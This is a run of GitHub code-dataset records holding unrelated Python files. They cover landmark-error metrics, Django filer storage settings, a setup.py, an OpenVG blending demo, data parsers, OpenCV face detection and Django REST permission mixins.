== 37, f\"Got {c}\"\r\n diff = np.zeros([c, 2], dtype=float) # y, x\r\n for i in range(c):\r\n diff[i][0] = abs(pred[1][i] - landmark[i][0]) * scale_rate\r\n diff[i][1] = abs(pred[0][i] - landmark[i][1]) * scale_rate\r\n Radial_Error = np.sqrt(np.power(diff[:, 0], 2) + np.power(diff[:, 1], 2))\r\n self.RE_list.append(Radial_Error)\r\n\r\n\r\n def record_hand_old2(self, pred, landmark, img_shape=None):\r\n \"\"\"\r\n Function for testing hand dataset, (due to the different \"img_shape\")\r\n pred: [w, h], [w, h]\r\n landmark: [w, h], [w, h]\r\n \"\"\"\r\n # scale_rate_y = img_shape[0] / self.size[0]\r\n # scale_rate_x = img_shape[1] / self.size[1]\r\n # raise NotImplementedError\r\n pred = np.array(pred)\r\n landmark = np.array(landmark)\r\n scale_rate = WRIST_WIDTH / radial(landmark[0], landmark[4])\r\n c = pred[0].shape[0]\r\n assert c == 37, f\"Got {c}\"\r\n diff = np.zeros([c, 2], dtype=float) # y, x\r\n for i in range(c):\r\n diff[i][0] = abs(pred[0][i] - landmark[i][0]) * scale_rate\r\n diff[i][1] = abs(pred[1][i] - landmark[i][1]) * scale_rate\r\n Radial_Error = np.sqrt(np.power(diff[:, 0], 2) + np.power(diff[:, 1], 2))\r\n # print(\"Extreme bug \", scale_rate, Radial_Error, landmark[0], pred[:,0], landmark[4], pred[:,4])\r\n # Radial_Error *= self.pixel_spaceing\r\n self.RE_list.append(Radial_Error)\r\n\r\n def record_hand_old(self, pred, landmark):\r\n \"\"\"\r\n :param pred: [w, h], [w, h]\r\n :param landmark: [w, h], [w, h]\r\n :return:\r\n \"\"\"\r\n pred = np.array(pred)\r\n landmark = np.array(landmark)\r\n assert pred.shape == (37, 2), f\"Got {pred.shape}, should be (37, 2)\"\r\n scale_rate = WRIST_WIDTH / radial(landmark[0], landmark[4])\r\n c = len(pred)\r\n assert c == 37, f\"Got {c}\"\r\n diff = np.zeros([c, 2], dtype=float) # y, x\r\n for i in range(c):\r\n diff[i][0] = abs(pred[i][0] - landmark[i][0]) * scale_rate\r\n diff[i][1] = abs(pred[i][1] - landmark[i][1]) * scale_rate\r\n Radial_Error = np.sqrt(np.power(diff[:, 0], 2) + np.power(diff[:, 1], 2))\r\n # Radial_Error *= self.pixel_spaceing\r\n # print(\"Extreme bug \", scale_rate, Radial_Error, landmark[0], landmark[4])\r\n self.RE_list.append(Radial_Error)\r\n\r\n def cal_metrics(self, debug=False):\r\n # calculate MRE SDR\r\n temp = np.array(self.RE_list)\r\n Mean_RE_channel = temp.mean(axis=0)\r\n # self.logger.info(Mean_RE_channel)\r\n with open('results.csv', 'w') as f:\r\n writer = csv.writer(f)\r\n writer.writerow(Mean_RE_channel.tolist())\r\n mre = Mean_RE_channel.mean()\r\n # self.log(\"ALL MRE {}\".format(mre))\r\n\r\n sdr_dict = {}\r\n for radius in self.recall_radius:\r\n total = temp.size\r\n shot = (temp < radius).sum()\r\n # self.log(\"ALL SDR {}mm {}\".format \\\r\n # (radius, shot * 100 / total))\r\n sdr_dict[f\"SDR {radius}\"] = shot * 100 / total\r\n\r\n if debug:\r\n import ipdb; ipdb.set_trace()\r\n ret_dict = {'mre': mre}\r\n ret_dict = {**ret_dict, **sdr_dict}\r\n return ret_dict\r\n\r\n def log(self, msg, *args, **kwargs):\r\n if self.logger is None:\r\n print(msg, *args, **kwargs)\r\n else:\r\n self.logger.info(msg, *args, **kwargs)\r\n\r\n","repo_name":"transcendentsky/pixel-aug","sub_path":"datasets/eval/eval_hand.py","file_name":"eval_hand.py","file_ext":"py","file_size_in_byte":5291,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"6258988065","text":"\nfrom django.conf import settings\n\nfrom django.core.files.storage import get_storage_class\nfrom filer.utils.loader import load_object\nfrom filer.utils.recursive_dictionary import RecursiveDictionaryWithExcludes\nimport os\n\n\n\n# File download permissions are an experimental\n# feature. The api may change at any time.\nMEDIA_ENABLE_PERMISSIONS = getattr(settings, 'MEDIA_ENABLE_PERMISSIONS', True)\nMEDIA_IS_PUBLIC_DEFAULT = getattr(settings, 'MEDIA_IS_PUBLIC_DEFAULT', True)\nMEDIA_PUBLIC_UPLOAD_TO = getattr(settings, 'MEDIA_PUBLIC_UPLOAD_TO', 'public')\nMEDIA_PRIVATE_UPLOAD_TO = getattr(settings, 'MEDIA_PRIVATE_UPLOAD_TO', 'private')\nMEDIA_PAGINATE_BY = getattr(settings, 'MEDIA_PAGINATE_BY', 25)\nMEDIA_ALLOW_REGULAR_USERS_TO_ADD_ROOT_FOLDERS = getattr(settings, 'MEDIA_ALLOW_REGULAR_USERS_TO_ADD_ROOT_FOLDERS', False)\n\nMEDIA_IMAGE_MODEL = getattr(settings, 'MEDIA_IMAGE_MODEL', 'leonardo.module.media.models.Image')\n# This is an ordered iterable that describes a list of\n# classes that I should check for when adding files\nMEDIA_FILE_MODELS = getattr(settings, 'MEDIA_FILE_MODELS',\n (\n MEDIA_IMAGE_MODEL,\n 'leonardo.module.media.models.Document',\n 'leonardo.module.media.models.Video',\n 'leonardo.module.media.models.Vector',\n 'leonardo.module.media.models.File',\n )\n)\n\nDEFAULT_FILE_STORAGE = getattr(settings, 'DEFAULT_FILE_STORAGE', 'django.core.files.storage.FileSystemStorage')\nMEDIA_CANONICAL_URL = getattr(settings, 'MEDIA_CANONICAL_URL', 'files/')\n\nif hasattr(settings, 'DEFAULT_MEDIA_STORAGES'):\n DEFAULT_MEDIA_STORAGES = getattr(settings, 'DEFAULT_MEDIA_STORAGES')\nelse:\n DEFAULT_MEDIA_STORAGES = {\n 'public': {\n 'main': {\n 'ENGINE': DEFAULT_FILE_STORAGE,\n 'OPTIONS': {\n 'location': os.path.abspath(os.path.join(settings.MEDIA_ROOT)),\n 'base_url': '/media/',\n },\n 'UPLOAD_TO': 'leonardo.module.media.path_generators.path_based',\n 'UPLOAD_TO_PREFIX': MEDIA_PUBLIC_UPLOAD_TO,\n },\n 'thumbnails': {\n 'ENGINE': DEFAULT_FILE_STORAGE,\n 'OPTIONS': {},\n 'THUMBNAIL_OPTIONS': {\n 'base_dir': 'public_thumbnails',\n },\n },\n },\n 'private': {\n 'main': {\n 'ENGINE': 'filer.storage.PrivateFileSystemStorage',\n 'OPTIONS': {\n 'location': os.path.abspath(os.path.join(settings.MEDIA_ROOT)),\n 'base_url': '/smedia/',\n },\n 'UPLOAD_TO': 'leonardo.module.media.path_generators.path_based',\n 'UPLOAD_TO_PREFIX': MEDIA_PRIVATE_UPLOAD_TO,\n },\n 'thumbnails': {\n 'ENGINE': 'filer.storage.PrivateFileSystemStorage',\n 'OPTIONS': {\n 'location': os.path.abspath(os.path.join(settings.MEDIA_ROOT, MEDIA_PRIVATE_UPLOAD_TO)),\n 'base_url': '/smedia/private_thumbnails/',\n },\n 'THUMBNAIL_OPTIONS': {},\n },\n },\n }\n\n# OLD FILER STUFF\n\nDEFAULT_FILER_STORAGES = DEFAULT_MEDIA_STORAGES\n\nFILER_IMAGE_MODEL = MEDIA_IMAGE_MODEL\nFILER_ENABLE_PERMISSIONS = MEDIA_ENABLE_PERMISSIONS\nFILER_DEBUG = getattr(settings, 'FILER_DEBUG', False) # When True makes\nFILER_SUBJECT_LOCATION_IMAGE_DEBUG = getattr(settings, 'FILER_SUBJECT_LOCATION_IMAGE_DEBUG', False)\nFILER_WHITESPACE_COLOR = getattr(settings, 'FILER_WHITESPACE_COLOR', '#FFFFFF')\n\nFILER_ENABLE_LOGGING = getattr(settings, 'FILER_ENABLE_LOGGING', False)\nif FILER_ENABLE_LOGGING:\n FILER_ENABLE_LOGGING = (FILER_ENABLE_LOGGING and (getattr(settings,'LOGGING') and\n ('' in settings.LOGGING['loggers'] or\n 'filer' in settings.LOGGING['loggers'])))\n\nFILER_IS_PUBLIC_DEFAULT = MEDIA_IS_PUBLIC_DEFAULT\n\nFILER_PAGINATE_BY = MEDIA_PAGINATE_BY\n\nFILER_STATICMEDIA_PREFIX = getattr(settings, 'FILER_STATICMEDIA_PREFIX', None)\nif not FILER_STATICMEDIA_PREFIX:\n FILER_STATICMEDIA_PREFIX = (getattr(settings, 'STATIC_URL', None) or settings.MEDIA_URL) + 'filer/'\n\nMEDIA_ADMIN_ICON_SIZES = getattr(settings,\"MEDIA_ADMIN_ICON_SIZES\",(\n '16', '32', '48', '64',\n ))\nFILER_ADMIN_ICON_SIZES = MEDIA_ADMIN_ICON_SIZES\n\nTHUMBNAIL_HIGH_RESOLUTION = True\n\nTHUMBNAIL_PROCESSORS = (\n 'easy_thumbnails.processors.colorspace',\n 'easy_thumbnails.processors.autocrop',\n #'easy_thumbnails.processors.scale_and_crop',\n 'filer.thumbnail_processors.scale_and_crop_with_subject_location',\n 'easy_thumbnails.processors.filters',\n)\n\nFILER_FILE_MODELS = MEDIA_FILE_MODELS\n\nMINIMAL_FILER_STORAGES = {\n 'public': {\n 'main': {\n 'ENGINE': None,\n 'OPTIONS': {},\n },\n 'thumbnails': {\n 'ENGINE': None,\n 'OPTIONS': {},\n }\n },\n 'private': {\n 'main': {\n 'ENGINE': None,\n 'OPTIONS': {},\n },\n 'thumbnails': {\n 'ENGINE': None,\n 'OPTIONS': {},\n },\n },\n }\n\nMINIMAL_FILER_SERVERS = {\n 'private': {\n 'main': {\n 'ENGINE': None,\n 'OPTIONS': {},\n },\n 'thumbnails': {\n 'ENGINE': None,\n 'OPTIONS': {},\n },\n },\n}\n\nDEFAULT_FILER_SERVERS = {\n 'private': {\n 'main': {\n 'ENGINE': 'filer.server.backends.default.DefaultServer',\n 'OPTIONS': {},\n },\n 'thumbnails': {\n 'ENGINE': 'filer.server.backends.default.DefaultServer',\n 'OPTIONS': {},\n },\n },\n}\n\nFILER_STORAGES = RecursiveDictionaryWithExcludes(MINIMAL_FILER_STORAGES, rec_excluded_keys=('OPTIONS', 'THUMBNAIL_OPTIONS'))\n\nuser_filer_storages = getattr(settings, 'FILER_STORAGES', {})\n\nFILER_STORAGES.rec_update(user_filer_storages)\n\ndef update_storage_settings(user_settings, defaults, s, t):\n if not user_settings[s][t]['ENGINE']:\n user_settings[s][t]['ENGINE'] = defaults[s][t]['ENGINE']\n user_settings[s][t]['OPTIONS'] = defaults[s][t]['OPTIONS']\n if t == 'main':\n if not 'UPLOAD_TO' in user_settings[s][t]:\n user_settings[s][t]['UPLOAD_TO'] = defaults[s][t]['UPLOAD_TO']\n if not 'UPLOAD_TO_PREFIX' in user_settings[s][t]:\n user_settings[s][t]['UPLOAD_TO_PREFIX'] = defaults[s][t]['UPLOAD_TO_PREFIX']\n if t == 'thumbnails':\n if not 'THUMBNAIL_OPTIONS' in user_settings[s][t]:\n user_settings[s][t]['THUMBNAIL_OPTIONS'] = defaults[s][t]['THUMBNAIL_OPTIONS']\n return user_settings\n\nupdate_storage_settings(FILER_STORAGES, DEFAULT_FILER_STORAGES, 'public', 'main')\nupdate_storage_settings(FILER_STORAGES, DEFAULT_FILER_STORAGES, 'public', 'thumbnails')\nupdate_storage_settings(FILER_STORAGES, DEFAULT_FILER_STORAGES, 'private', 'main')\nupdate_storage_settings(FILER_STORAGES, DEFAULT_FILER_STORAGES, 'private', 'thumbnails')\n\nFILER_SERVERS = RecursiveDictionaryWithExcludes(MINIMAL_FILER_SERVERS, rec_excluded_keys=('OPTIONS',))\nFILER_SERVERS.rec_update(getattr(settings, 'FILER_SERVERS', {}))\n\ndef update_server_settings(settings, defaults, s, t):\n if not settings[s][t]['ENGINE']:\n settings[s][t]['ENGINE'] = defaults[s][t]['ENGINE']\n settings[s][t]['OPTIONS'] = defaults[s][t]['OPTIONS']\n return settings\n\nupdate_server_settings(FILER_SERVERS, DEFAULT_FILER_SERVERS, 'private', 'main')\nupdate_server_settings(FILER_SERVERS, DEFAULT_FILER_SERVERS, 'private', 'thumbnails')\n\n\n\n# Public media (media accessible without any permission checks)\nFILER_PUBLICMEDIA_STORAGE = get_storage_class(FILER_STORAGES['public']['main']['ENGINE'])(**FILER_STORAGES['public']['main']['OPTIONS'])\nFILER_PUBLICMEDIA_UPLOAD_TO = load_object(FILER_STORAGES['public']['main']['UPLOAD_TO'])\nif 'UPLOAD_TO_PREFIX' in FILER_STORAGES['public']['main']:\n FILER_PUBLICMEDIA_UPLOAD_TO = load_object('filer.utils.generate_filename.prefixed_factory')(FILER_PUBLICMEDIA_UPLOAD_TO, FILER_STORAGES['public']['main']['UPLOAD_TO_PREFIX'])\nFILER_PUBLICMEDIA_THUMBNAIL_STORAGE = get_storage_class(FILER_STORAGES['public']['thumbnails']['ENGINE'])(**FILER_STORAGES['public']['thumbnails']['OPTIONS'])\nFILER_PUBLICMEDIA_THUMBNAIL_OPTIONS = FILER_STORAGES['public']['thumbnails']['THUMBNAIL_OPTIONS']\n\n\n# Private media (media accessible through permissions checks)\nFILER_PRIVATEMEDIA_STORAGE = get_storage_class(FILER_STORAGES['private']['main']['ENGINE'])(**FILER_STORAGES['private']['main']['OPTIONS'])\nFILER_PRIVATEMEDIA_UPLOAD_TO = load_object(FILER_STORAGES['private']['main']['UPLOAD_TO'])\nif 'UPLOAD_TO_PREFIX' in FILER_STORAGES['private']['main']:\n FILER_PRIVATEMEDIA_UPLOAD_TO = load_object('filer.utils.generate_filename.prefixed_factory')(FILER_PRIVATEMEDIA_UPLOAD_TO, FILER_STORAGES['private']['main']['UPLOAD_TO_PREFIX'])\nFILER_PRIVATEMEDIA_THUMBNAIL_STORAGE = get_storage_class(FILER_STORAGES['private']['thumbnails']['ENGINE'])(**FILER_STORAGES['private']['thumbnails']['OPTIONS'])\nFILER_PRIVATEMEDIA_THUMBNAIL_OPTIONS = FILER_STORAGES['private']['thumbnails']['THUMBNAIL_OPTIONS']\nFILER_PRIVATEMEDIA_SERVER = load_object(FILER_SERVERS['private']['main']['ENGINE'])(**FILER_SERVERS['private']['main']['OPTIONS'])\nFILER_PRIVATEMEDIA_THUMBNAIL_SERVER = load_object(FILER_SERVERS['private']['thumbnails']['ENGINE'])(**FILER_SERVERS['private']['thumbnails']['OPTIONS'])\n\nFILER_DUMP_PAYLOAD = getattr(settings, 'FILER_DUMP_PAYLOAD', False) # Whether the filer shall dump the files payload\n","repo_name":"django-leonardo/django-leonardo","sub_path":"leonardo/module/media/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9601,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"37"} +{"seq_id":"520290019","text":"from setuptools import find_packages, setup\n\nwith open(\"README.md\") as readme_file:\n readme = readme_file.read()\n\n# with open('CHANGELOG.md') as history_file:\n# history = history_file.read()\n\nwith open(\"requirements.txt\") as requirements_file:\n requirements = list(requirements_file.readlines())\n\n\nwith open(\"dev-requirements.txt\") as dev_requirements_file:\n dev_requirements = list(dev_requirements_file.readlines())\n\n\nsetup(\n name=\"sqliterunner\",\n version=\"0.1.1\",\n url=\"https://github.com/Pycryptor10/sqlite-runner\",\n description=\"Simple script for making SQL Queries easier.\",\n long_description=readme, # + '\\n\\n' + history,\n long_description_content_type=\"text/markdown\", # This is important!\n author=\"Pycryptor10\",\n author_email=\"Pycryptor10@gmail.com\",\n packages=find_packages(\".\"),\n include_package_data=True,\n install_requires=requirements,\n tests_require=dev_requirements,\n test_suite=\"tests\",\n license=\"GPL3\",\n)\n","repo_name":"RhinosF1/sqlite-runner","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5560228192","text":"import math\r\nimport pygame\r\n\r\nfrom OpenVG import VG\r\nfrom OpenVG import VGU\r\nfrom OpenVG.font import Font\r\nfrom OpenVG.constants import *\r\n\r\ndef center_and_concat(p1, p2):\r\n (dx, dy), (dw, dh) = p1.bounds()\r\n (sx, sy), (sw, sh) = p2.bounds()\r\n\r\n dst_cx, dst_cy = (dx+dw/2.0), (dy+dh/2.0)\r\n src_cx, src_cy = (sx+sw/2.0), (sy+sh/2.0)\r\n\r\n VG.translate(dst_cx-src_cx, dst_cy-src_cy)\r\n p2.transform(p1)\r\n VG.load_identity()\r\n \r\n\r\ndef main(width, height, radius, count, flags=0):\r\n pygame.init()\r\n \r\n pygame.display.gl_set_attribute(pygame.GL_STENCIL_SIZE, 2)\r\n\r\n flags |= pygame.OPENGL | pygame.DOUBLEBUF\r\n \r\n srf = pygame.display.set_mode((width, height), flags)\r\n pygame.display.set_caption(\"Blending test\")\r\n \r\n \r\n VG.create_context((width, height))\r\n VG.set(VG_CLEAR_COLOR, (1.0, 1.0, 1.0, 1.0))\r\n\r\n orange_paint = VG.ColorPaint((1.0, 0.5, 0.0, 0.5))\r\n blue_paint = VG.ColorPaint((0.0, 0.0, 1.0, 0.5))\r\n black_paint = VG.ColorPaint((0.0, 0.0, 0.0))\r\n\r\n blend_modes = [VG_BLEND_SRC, VG_BLEND_SRC_OVER, VG_BLEND_DST_OVER,\r\n VG_BLEND_SRC_IN, VG_BLEND_DST_IN, VG_BLEND_MULTIPLY,\r\n VG_BLEND_SCREEN, VG_BLEND_DARKEN, VG_BLEND_LIGHTEN,\r\n VG_BLEND_ADDITIVE]\r\n\r\n blend_index = 0\r\n \r\n VG.set(VG_BLEND_MODE, blend_modes[0])\r\n\r\n font = Font(\"data/fonts/Vera.ttf\", 30)\r\n src_path = font.build_path(\"SRC\")\r\n dst_path = font.build_path(\"DST\")\r\n message = font.build_path(\"Scroll to change the blend mode\")\r\n \r\n circle = VG.Path()\r\n VGU.ellipse(circle, (0, 0), (radius*2, radius*2))\r\n center_and_concat(circle, dst_path)\r\n\r\n square = VG.Path()\r\n VGU.rect(square, (-radius, -radius), (radius*2, radius*2))\r\n center_and_concat(square, src_path)\r\n\r\n circle2 = VG.Path()\r\n VGU.ellipse(circle2, (0, 0), (radius*2, radius*2))\r\n\r\n running = True\r\n while running:\r\n events = pygame.event.get()\r\n for e in events:\r\n if e.type == pygame.QUIT:\r\n running = False\r\n elif e.type == pygame.KEYDOWN:\r\n if e.key == pygame.K_ESCAPE:\r\n running = False\r\n elif e.type == pygame.MOUSEBUTTONDOWN:\r\n if e.button == 4:\r\n blend_index += 1\r\n VG.set(VG_BLEND_MODE, blend_modes[blend_index % len(blend_modes)])\r\n elif e.button == 5:\r\n blend_index -= 1\r\n VG.set(VG_BLEND_MODE, blend_modes[blend_index % len(blend_modes)])\r\n\r\n VG.clear((0, 0), (width, height))\r\n \r\n VG.set(VG_MATRIX_MODE, VG_MATRIX_PATH_USER_TO_SURFACE)\r\n VG.load_identity()\r\n VG.translate(width - radius*1.5, radius * 2.5)\r\n circle.draw(VG_FILL_PATH | VG_STROKE_PATH)\r\n VG.translate(-radius, -radius)\r\n VG.set_paint(orange_paint, VG_FILL_PATH)\r\n square.draw(VG_FILL_PATH | VG_STROKE_PATH)\r\n\r\n VG.set_paint(blue_paint, VG_FILL_PATH)\r\n for i in xrange(count):\r\n angle = i*2*math.pi/count\r\n VG.load_identity()\r\n VG.translate(width//2, height//2)\r\n VG.translate(radius*math.cos(angle), radius*math.sin(angle))\r\n circle2.draw(VG_FILL_PATH)\r\n\r\n VG.load_identity()\r\n (x,y), (w,h) = message.bounds()\r\n VG.translate(-x, height-y-h)\r\n message.draw(VG_STROKE_PATH | VG_FILL_PATH)\r\n \r\n\r\n \r\n pygame.display.flip()\r\n\r\nif __name__ == '__main__':\r\n main(640, 480, 64, 6)\r\n","repo_name":"mayeranalytics/pyopenvg","sub_path":"examples/blend.py","file_name":"blend.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"34420713642","text":"#!/usr/bin/python\nfrom copy import copy\nimport numpy as np\n\ndef read_activity(filename):\n with open(filename) as f:\n act_info = list()\n idx_info = list()\n line = f.readline()\n invoke_count = -1\n bb_cs_info = dict()\n cs_info = set()\n bb_info = list()\n while line != '':\n bb_items = [int(x) for x in line.rstrip(\"\\n\").split(\",\")]\n bb_steps = bb_items[-1]\n bb_id = bb_items[0]\n bb_key = bb_items[1]\n if bb_id == 0:\n invoke_count += 1\n if bb_id not in bb_cs_info:\n bb_cs_info[bb_id] = dict()\n for i in range(0, bb_steps):\n line = f.readline()\n cs_items = [int(x) for x in line.rstrip(\"\\n\").split(\",\")]\n cs_id = cs_items[0]\n # cs_key = cs_items[1]\n cs_info.add(cs_id)\n cs_act = cs_items[2:]\n act_info.append(cs_act)\n idx_info.append([invoke_count, bb_id, bb_steps, bb_key, cs_id, i])\n if bb_key not in bb_cs_info[bb_id]:\n bb_cs_info[bb_id][bb_key] = list()\n if [cs_id, i] not in bb_cs_info[bb_id][bb_key]:\n bb_cs_info[bb_id][bb_key].append([cs_id, i])\n if [bb_id, bb_steps, bb_key] not in bb_info:\n bb_info.append([bb_id, bb_steps, bb_key])\n line = f.readline()\n\n return idx_info, act_info, bb_cs_info, cs_info, bb_info\n\n\nclass ActivityData:\n def __init__(self, idx_info, act_info, bb_cs_info, cs_info, bb_info):\n self.bb_cs_info = bb_cs_info\n self.cs_info = cs_info\n self.act_info = np.array(act_info)\n self.idx_info = np.array(idx_info)\n self.bb_info = bb_info\n # print self.bb_cs_info\n\n def get_index(self, bb_id, bb_steps, bb_key, cs_id, cs_idx):\n ret=[]\n for idx, row in enumerate(self.idx_info):\n if (( bb_id == -1 or row[1] == bb_id) and\n ( bb_steps == -1 or row[2] == bb_steps) and\n ( bb_key == -1 or row[3] == bb_key) and\n ( cs_id == -1 or row[4] == cs_id) and\n ( cs_idx == -1 or row[5] == cs_idx) ):\n ret.append(idx)\n return ret\n\n def get_activity(self, bb_id, bb_steps, bb_key, cs_id, cs_idx):\n indices = self.get_index(bb_id, bb_steps, bb_key, cs_id, cs_idx)\n # return self.act_info[indices]\n if (indices is not None) and len(indices) != 0:\n first_features = self.act_info[indices[0]]\n else:\n return None\n ret = np.zeros((len(indices), len(first_features)))\n for idx, i in enumerate(indices):\n ret[idx] = self.act_info[i]\n return ret\n\n def get_index_bb_activity(self, bb_id, bb_steps, bb_key):\n # type: (int, int, int) -> object\n cs_list = self.bb_cs_info[bb_id][bb_key]\n # print \"get_index_bb_activity: \", bb_id, bb_steps, bb_key, cs_list\n ret = []\n for (cs_id, cs_idx) in cs_list:\n tmp = self.get_index(bb_id, bb_steps, bb_key, cs_id, cs_idx)\n # print cs_id,cs_idx, len(tmp)\n ret.append(tmp)\n return ret\n\n def get_bb_activity(self, bb_id, bb_steps, bb_key):\n cs_list = self.bb_cs_info[bb_id][bb_key]\n ret = []\n for (cs_id, cs_idx) in cs_list:\n ret.append(self.get_activity(bb_id, bb_steps, bb_key, cs_id, cs_idx))\n return ret\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"SLAM-Lab/LIPPo","sub_path":"whitebox/learn/python/DataParser.py","file_name":"DataParser.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24820504550","text":"# Author: Tao Hu \n\nDATA_DIR, LIST_DIR = \"/data1/dataset/pascalvoc2012/VOC2012trainval/VOCdevkit/VOC2012\", \"data/pascalvoc12\"\n\n\nfrom tensorpack.dataflow.common import BatchData, MapData\nfrom mxnetgo.tensorpack.dataset.cityscapes import Cityscapes\nfrom mxnetgo.tensorpack.dataset.pascalvoc12 import PascalVOC12\nfrom tensorpack.dataflow.imgaug.misc import RandomResize, Flip\nfrom tensorpack.dataflow.image import AugmentImageComponents\nfrom tensorpack.dataflow.prefetch import PrefetchDataZMQ\nfrom mxnetgo.myutils.segmentation.segmentation import visualize_label\nfrom seg_utils import RandomCropWithPadding\n\nfrom tqdm import tqdm\nimport numpy as np\n\nbatch_size = 14\ncrop_size = (473,473)\n\ndef get_data(name, data_dir, meta_dir, gpu_nums):\n isTrain = name == 'train'\n ds = PascalVOC12(data_dir, meta_dir, name, shuffle=True)\n\n\n if isTrain:#special augmentation\n shape_aug = [RandomResize(xrange=(0.7, 1.5), yrange=(0.7, 1.5),\n aspect_ratio_thres=0.15),\n RandomCropWithPadding(crop_size,255),\n Flip(horiz=True),\n ]\n else:\n shape_aug = []\n\n ds = AugmentImageComponents(ds, shape_aug, (0, 1), copy=False)\n\n def f(ds):\n image, label = ds\n m = np.array([104, 116, 122])\n const_arr = np.resize(m, (1,1,3)) # NCHW\n image = image - const_arr\n return image, label\n\n ds = MapData(ds, f)\n if isTrain:\n ds = BatchData(ds, batch_size*gpu_nums)\n ds = PrefetchDataZMQ(ds, 1)\n else:\n ds = BatchData(ds, 1)\n return ds\n\ntrain_data = get_data(\"train\", DATA_DIR, LIST_DIR, 1)\ntrain_data.reset_state()\n_itr = train_data.get_data()\n\nfor i in tqdm(range(100)):\n data, label = next(_itr)\n print(\"next\")","repo_name":"dongzhuoyao/mxnetgo","sub_path":"example/deeplab/test_dataflow.py","file_name":"test_dataflow.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"17327697686","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport click\nimport json\n\nimport scraper\n\n@click.command()\n@click.option(\"-v\", \"--verbose\", count=True)\n@click.option(\"-h\", \"--host\", required=True)\n@click.option(\"--events\", is_flag=True)\n@click.option(\"--status\", is_flag=True)\ndef main(verbose, host, events, status):\n s = scraper.Scraper(verbose, host)\n if events:\n print(json.dumps(s.get_events(), sort_keys=True, indent=4))\n if status:\n print(json.dumps(s.get_status(), sort_keys=True, indent=4))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dlovitch/arrisstats","sub_path":"arrisstats/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7410934836","text":"import numpy as np\nimport cv2\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nvideo_capture = cv2.VideoCapture(0)\n\nwhile True:\n ret, frame = video_capture.read()\n print(frame)\n if(ret is True):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n else:\n continue\n equ = cv2.equalizeHist(gray) \n faces = face_cascade.detectMultiScale(equ, 1.05, 5,minSize=(10,10))\n print(faces)\n for (x,y,w,h) in faces:\n cv2.rectangle(frame, (x,y),(x+w,y+h),(255,0,0),2)\n\n cv2.imshow('video',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"taitobmt/TN","sub_path":"Testcame.py","file_name":"Testcame.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19026658806","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 21 16:46:40 2019\n\n@author: Gary\nThese tools are used to add 'best guess' columns to tables from the xlate files.\n\n\"\"\"\n\nimport pandas as pd\n\nfields = {'Supplier':'company',\n 'OperatorName':'company',\n 'StateName':'StateName'}\n\ndef add_bg_col(df,field='StateName',sources='./sources/'):\n print(f'Adding column {\"bg\"+field}')\n fn = sources+fields[field]+'_'+'xlate.csv'\n ref = pd.read_csv(fn,keep_default_na=False,na_values='',quotechar='$',\n usecols=['primary','original'])\n df['original'] = df[field].str.strip().str.lower()\n\n ref = ref.rename(columns={'primary':'bg'+field})\n ref = ref[~ref.duplicated(subset='original',keep='last')]\n df = df.merge(ref,on='original',how='left',validate='m:1')\n df = df.drop('original',axis=1)\n return df\n\n","repo_name":"gwallison/open-FF","sub_path":"core/Column_tools.py","file_name":"Column_tools.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10807958135","text":"from rest_framework.viewsets import ModelViewSet\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\n\nfrom catalog_system.constants import AllowedActions\nfrom .permissions import CatalogSystemModelPermission\n\nACTION_MAPPING = {\n \"get\": AllowedActions.RETRIEVE,\n \"post\": AllowedActions.CREATE,\n \"put\": AllowedActions.UPDATE,\n \"patch\": AllowedActions.PARTIAL_UPDATE,\n \"delete\": AllowedActions.DESTROY,\n}\n\n\nclass PermissionsMixin:\n \"\"\"Permission class to specify permissions on views\"\"\"\n\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated, CatalogSystemModelPermission)\n custom_action_map = {}\n\n @property\n def view_name(self):\n \"\"\"Returns the name of the class\"\"\"\n return \"{}.{}\".format(\n self.__class__.__module__.split(\".\")[0], self.__class__.__name__\n )\n\n @property\n def _action(self):\n \"\"\"Returns an action depending on the request method specified\"\"\"\n if hasattr(self, \"action\") and self.action:\n return self.custom_action_map.get(self.action, self.action)\n return ACTION_MAPPING[self.request.method.lower()]\n\n\nclass CatalogSystemModelViewset(PermissionsMixin, ModelViewSet):\n read_serializer = None\n write_serializer = None\n\n def get_serializer_class(self, *args, **kwargs):\n \"\"\"Gets the serializer class depending on the type of action\"\"\"\n if (\n self.action in (AllowedActions.RETRIEVE, AllowedActions.LIST)\n and self.read_serializer\n ):\n return self.read_serializer\n elif (\n self.action\n in (\n AllowedActions.CREATE,\n AllowedActions.UPDATE,\n AllowedActions.PARTIAL_UPDATE,\n )\n and self.write_serializer\n ):\n return self.write_serializer\n return super().get_serializer_class(*args, 